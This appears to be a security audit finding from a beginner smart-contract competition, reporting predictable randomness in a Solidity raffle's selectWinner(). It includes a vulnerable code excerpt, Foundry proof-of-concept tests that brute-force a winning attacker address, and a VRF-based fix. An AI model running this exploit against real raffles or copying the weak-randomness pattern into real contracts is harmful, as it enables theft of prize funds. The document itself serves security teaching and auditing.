Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
Submission Details
Impact: high
Likelihood: high

Weak randomness in `selectWinner()` — winner and rarity are predictable and forceable

Author Revealed upon completion

Root + Impact

Description

selectWinner() derives both the winner and the puppy rarity from values that are public before the call: msg.sender (the caller's own address), block.timestamp, and block.difficulty. Anyone can compute the outcome off-chain and only call selectWinner() when it favours them. Worse, the caller chooses msg.sender — by trying many addresses they can find one that wins, and one that mints a legendary puppy.

@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood: High — the inputs are public and the attacker controls msg.sender; finding a winning address is a trivial off-chain brute force.

Impact: High — the raffle is not a raffle. An attacker can guarantee the win (80% prize pool) and a legendary NFT at zero cost beyond trying addresses off-chain.

Proof of Concept

The first test proves predictability: the winner is computed off-chain with the exact same inputs before the call, and it matches the on-chain winner. The second test proves exploitability: the attacker brute-forces an address whose hash picks its own player slot, enters the raffle with it, calls selectWinner() from it, and wins the 3.2 ETH prize.

function test_H2_WinnerIsPredictableBeforeCalling() public {
address[] memory players = _enterPlayers(4, 100);
vm.warp(block.timestamp + duration + 1);
address caller = address(0xCA11);
uint256 expectedWinnerIndex =
uint256(keccak256(abi.encodePacked(caller, block.timestamp, block.difficulty))) % players.length;
address expectedWinner = players[expectedWinnerIndex];
​
vm.prank(caller);
raffle.selectWinner();
​
assertEq(raffle.previousWinner(), expectedWinner, "winner was computable before the call");
}
​
function test_H2_AttackerCanForceAWin() public {
address[] memory firstThree = new address[](3);
firstThree[0] = address(uint160(0xA11CE));
firstThree[1] = address(uint160(0xB0B));
firstThree[2] = address(uint160(0xCA5));
raffle.enterRaffle{value: entranceFee * 3}(firstThree);
vm.warp(block.timestamp + duration + 1);
// brute-force an attacker address whose hash picks its own slot (index 3)
address attacker;
for (uint256 i = 0; i < 10000; i++) {
address candidate = address(uint160(0x100000 + i));
uint256 idx =
uint256(keccak256(abi.encodePacked(candidate, block.timestamp, block.difficulty))) % 4;
if (idx == 3) { attacker = candidate; break; }
}
require(attacker != address(0), "no winning address found");
address[] memory one = new address[](1);
one[0] = attacker;
raffle.enterRaffle{value: entranceFee}(one);
​
vm.prank(attacker);
raffle.selectWinner();
​
assertEq(raffle.previousWinner(), attacker, "attacker chose an address that wins");
assertEq(attacker.balance, (4 ether * 80) / 100, "attacker also takes the 80% prize");
}

Recommended Mitigation

Use a verifiable randomness source (e.g. Chainlink VRF) or a commit-reveal scheme. Never derive randomness from msg.sender, block.timestamp, or block.difficulty (prevrandao).

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Request randomness from Chainlink VRF (or another verifiable source) and use it here.
+ uint256 winnerIndex = vrfRandomNumber % players.length;
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ uint256 rarity = vrfRandomNumber % 100;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!